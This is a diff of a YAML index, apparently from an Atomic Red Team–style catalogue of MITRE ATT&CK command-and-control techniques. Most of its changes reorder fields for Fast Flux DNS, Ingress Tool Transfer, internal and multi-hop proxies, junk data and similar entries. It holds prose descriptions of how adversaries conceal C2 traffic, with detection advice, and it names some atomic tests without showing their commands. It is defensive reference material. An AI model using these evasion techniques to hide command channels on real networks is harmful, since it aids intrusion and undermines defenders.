-        url: https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref
-      - source_name: Fast Flux - Welivesecurity
-        url: https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/
-        description: 'Albors, Josep. (2017, January 12). Fast Flux networks: What
-          are they and how do they work?. Retrieved March 11, 2020.'
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Fast Flux DNS
+      modified: '2020-03-27T16:10:37.183Z'
+      created: '2020-03-11T14:11:16.560Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6
       description: |-
         Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)
 
         The simplest, "single-flux" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)
 
         In contrast, the "double-flux" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.
-      id: attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-03-27T16:10:37.183Z'
-      created: '2020-03-11T14:11:16.560Z'
       x_mitre_detection: In general, detecting usage of fast flux DNS is difficult
         due to web traffic load balancing that services client requests quickly. In
         single flux cases only IP addresses change for static domain names. In double
         flux cases, nothing is static. Defenders such as domain registrars and service
         providers are likely in the best position for detection.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1568/001
+        external_id: T1568.001
+        source_name: mitre-attack
+      - source_name: MehtaFastFluxPt1
+        description: Mehta, L. (2014, December 17). Fast Flux Networks Working and
+          Detection, Part 1. Retrieved March 6, 2017.
+        url: https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref
+      - url: https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref
+        description: Mehta, L. (2014, December 23). Fast Flux Networks Working and
+          Detection, Part 2. Retrieved March 6, 2017.
+        source_name: MehtaFastFluxPt2
+      - url: https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/
+        description: 'Albors, Josep. (2017, January 12). Fast Flux networks: What
+          are they and how do they work?. Retrieved March 11, 2020.'
+        source_name: Fast Flux - Welivesecurity
+    atomic_tests: []
+  T1071.002:
+    technique:
+      type: attack-pattern
+      modified: '2020-08-21T14:41:22.911Z'
+      name: File Transfer Protocols
       x_mitre_data_sources:
       - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      created: '2020-03-15T16:16:25.763Z'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-    atomic_tests: []
-  T1071.002:
-    technique:
-      created: '2020-03-15T16:16:25.763Z'
-      modified: '2020-08-21T14:41:22.911Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
-      type: attack-pattern
+      x_mitre_is_subtechnique: true
       id: attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b
       description: "Adversaries may communicate using application layer protocols
         associated with transferring files to avoid detection/network filtering by
@@ -71500,78 +73760,71 @@ command-and-control:
         Data could also be concealed within the transferred files. An adversary may
         abuse these protocols to communicate with systems under their control within
         a victim network while also mimicking normal, expected traffic. "
-      name: File Transfer Protocols
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1071.002
-        url: https://attack.mitre.org/techniques/T1071/002
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
         never been seen before are suspicious. Analyze packet contents to detect application
         layer protocols that do not follow the expected protocol for the port that
         is being used.(Citation: University of Birmingham C2)'
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1071/002
+        external_id: T1071.002
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
     atomic_tests: []
   T1105:
     technique:
-      created: '2017-05-31T21:31:16.408Z'
-      modified: '2020-03-20T15:42:48.595Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
       type: attack-pattern
-      id: attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      modified: '2020-03-20T15:42:48.595Z'
       name: Ingress Tool Transfer
-      description: Adversaries may transfer tools or other files from an external
-        system into a compromised environment. Files may be copied from an external
-        adversary controlled system through the command and control channel to bring
-        tools into the victim network or through alternate protocols with another
-        tool such as FTP. Files can also be copied over on Mac and Linux with native
-        tools like scp, rsync, and sftp.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1105
-        url: https://attack.mitre.org/techniques/T1105
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: |-
-        Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.
-
-        Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
       x_mitre_data_sources:
       - 'Network Traffic: Network Traffic Flow'
       - 'Network Traffic: Network Connection Creation'
       - 'Network Traffic: Network Traffic Content'
       - 'File: File Creation'
       x_mitre_version: '2.0'
+      created: '2017-05-31T21:31:16.408Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add
+      description: Adversaries may transfer tools or other files from an external
+        system into a compromised environment. Files may be copied from an external
+        adversary controlled system through the command and control channel to bring
+        tools into the victim network or through alternate protocols with another
+        tool such as FTP. Files can also be copied over on Mac and Linux with native
+        tools like scp, rsync, and sftp.
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
+      x_mitre_detection: |-
+        Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.
+
+        Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1105
+        external_id: T1105
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
       identifier: T1105
     atomic_tests:
     - name: rsync remote file copy (push)
@@ -72169,49 +74422,49 @@ command-and-control:
         name: command_prompt
   T1090.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1090.001
-        url: https://attack.mitre.org/techniques/T1090/001
-      - url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
-        description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
-          of the Trade. Retrieved December 2, 2015.'
-        source_name: Trend Micro APT Attack Tools
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2020-03-15T00:46:26.598Z'
       name: Internal Proxy
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      created: '2020-03-14T23:08:20.244Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755
       description: |-
         Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.
 
         By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.
-      id: attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755
-      type: attack-pattern
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-03-15T00:46:26.598Z'
-      created: '2020-03-14T23:08:20.244Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: 'Analyze network data for uncommon data flows between clients
         that should not or often do not communicate with one another. Processes utilizing
         the network that do not normally have network communication or have never
         been seen before are suspicious. Analyze packet contents to detect communications
         that do not follow the expected protocol behavior for the port that is being
         used.(Citation: University of Birmingham C2)'
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1090/001
+        external_id: T1090.001
+        source_name: mitre-attack
+      - source_name: Trend Micro APT Attack Tools
+        description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
+          of the Trade. Retrieved December 2, 2015.'
+        url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
       identifier: T1090.001
     atomic_tests:
     - name: Connection Proxy
@@ -72304,48 +74557,61 @@ command-and-control:
         elevation_required: true
   T1001.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1001.001
-        url: https://attack.mitre.org/techniques/T1001/001
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2020-03-15T00:30:25.444Z'
       name: Junk Data
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      created: '2020-03-15T00:30:25.444Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade
       description: 'Adversaries may add junk data to protocols used for command and
         control to make detection more difficult. By adding random or meaningless
         data to the protocols used for command and control, adversaries can prevent
         trivial methods for decoding, deciphering, or otherwise analyzing the traffic.
         Examples may include appending/prepending data with junk characters or writing
         junk characters between significant characters. '
-      id: attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade
-      type: attack-pattern
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-03-15T00:30:25.444Z'
-      created: '2020-03-15T00:30:25.444Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
         never been seen before are suspicious. Analyze packet contents to detect communications
         that do not follow the expected protocol behavior for the port that is being
         used.(Citation: University of Birmingham C2)'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1001/001
+        external_id: T1001.001
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
+    atomic_tests: []
+  T1071.003:
+    technique:
+      type: attack-pattern
+      modified: '2020-10-21T16:35:45.633Z'
+      name: Mail Protocols
       x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
       - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      created: '2020-03-15T16:21:45.131Z'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-    atomic_tests: []
-  T1071.003:
-    technique:
+      x_mitre_is_subtechnique: true
       id: attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b
       description: "Adversaries may communicate using application layer protocols
         associated with electronic mail delivery to avoid detection/network filtering
@@ -72357,31 +74623,11 @@ command-and-control:
         concealed. Data could also be concealed within the email messages themselves.
         An adversary may abuse these protocols to communicate with systems under their
         control within a victim network while also mimicking normal, expected traffic. "
-      name: Mail Protocols
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1071.003
-        url: https://attack.mitre.org/techniques/T1071/003
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-10-21T16:35:45.633Z'
-      created: '2020-03-15T16:21:45.131Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
@@ -72389,88 +74635,95 @@ command-and-control:
         layer protocols that do not follow the expected protocol standards regarding
         syntax, structure, or any other variable adversaries could leverage to conceal
         data.(Citation: University of Birmingham C2)'
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1071/003
+        external_id: T1071.003
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
     atomic_tests: []
   T1104:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Multi-Stage Channels
       external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1104
+      - url: https://attack.mitre.org/techniques/T1104
         external_id: T1104
+        source_name: mitre-attack
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Connection Creation'
+      x_mitre_version: '1.0'
+      modified: '2020-07-14T19:43:38.181Z'
+      created: '2017-05-31T21:31:15.935Z'
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91
       description: |-
         Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.
 
         Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.
 
         The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.
-      name: Multi-Stage Channels
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-07-14T19:43:38.181Z'
-      created: '2017-05-31T21:31:15.935Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Connection Creation'
       x_mitre_detection: Host data that can relate unknown or suspicious process activity
         using a network connection is important to supplement any existing indicators
         of compromise based on malware command and control signatures and infrastructure.
         Relating subsequent actions that may result from Discovery of the system and
         network information or Lateral Movement to the originating process may also
         yield useful data.
-      x_mitre_network_requirements: true
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1090.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1090.003
-        url: https://attack.mitre.org/techniques/T1090/003
-      - source_name: Onion Routing
-        url: https://en.wikipedia.org/wiki/Onion_routing
-        description: Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Multi-hop Proxy
-      description: |-
-        To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing)
-
-        In the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise.  By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes.  This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network.  This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s WAN. Protocols such as ICMP may be used as a transport.
-      id: attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
-      modified: '2020-10-21T17:54:28.280Z'
-      created: '2020-03-14T23:23:41.770Z'
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_detection: |-
-        When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.
-
-        In context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers.  Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization.  Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted.  Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.
+      name: Multi-hop Proxy
       x_mitre_data_sources:
       - 'Network Traffic: Network Traffic Flow'
       - 'Network Traffic: Network Connection Creation'
       - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '2.0'
+      modified: '2020-10-21T17:54:28.280Z'
+      created: '2020-03-14T23:23:41.770Z'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
       - Network
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d
+      description: |-
+        To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing)
+
+        In the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise.  By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes.  This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network.  This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s WAN. Protocols such as ICMP may be used as a transport.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
+      x_mitre_detection: |-
+        When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.
+
+        In context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers.  Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization.  Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted.  Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1090/003
+        external_id: T1090.003
+        source_name: mitre-attack
+      - url: https://en.wikipedia.org/wiki/Onion_routing
+        description: Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020.
+        source_name: Onion Routing
       identifier: T1090.003
     atomic_tests:
     - name: Psiphon
@@ -72598,36 +74851,32 @@ command-and-control:
         name: sh
   T1026:
     technique:
-      id: attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Multiband Communication
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1026
+        external_id: T1026
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
+      x_mitre_version: '1.0'
+      modified: '2020-03-30T13:59:11.272Z'
+      created: '2017-05-31T21:30:32.259Z'
+      x_mitre_deprecated: true
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091
       description: |-
         **This technique has been deprecated and should no longer be used.**
 
         Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1026
-        url: https://attack.mitre.org/techniques/T1026
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-03-30T13:59:11.272Z'
-      created: '2017-05-31T21:30:32.259Z'
-      x_mitre_deprecated: true
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_network_requirements: true
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
@@ -72635,56 +74884,61 @@ command-and-control:
         that do not follow the expected protocol behavior for the port that is being
         used. (Citation: University of Birmingham C2) Correlating alerts between multiple
         communication channels can further help identify command-and-control behavior.'
-      x_mitre_version: '1.0'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1095:
     technique:
-      created: '2017-05-31T21:31:10.728Z'
+      type: attack-pattern
       modified: '2020-10-21T19:41:49.412Z'
+      name: Non-Application Layer Protocol
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1095
+        external_id: T1095
+        source_name: mitre-attack
+      - source_name: Wikipedia OSI
+        description: Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved
+          December 4, 2014.
+        url: http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29
+      - url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
+        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
+          IOS devices. Retrieved October 19, 2020.
+        source_name: Cisco Synful Knock Evolution
+      - source_name: Microsoft ICMP
+        description: Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics.
+          Retrieved December 1, 2014.
+        url: http://support.microsoft.com/KB/170292
+      - url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
+        description: Omar Santos. (2020, October 19). Attackers Continue to Target
+          Legacy Devices. Retrieved October 20, 2020.
+        source_name: Cisco Blog Legacy Device Attacks
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
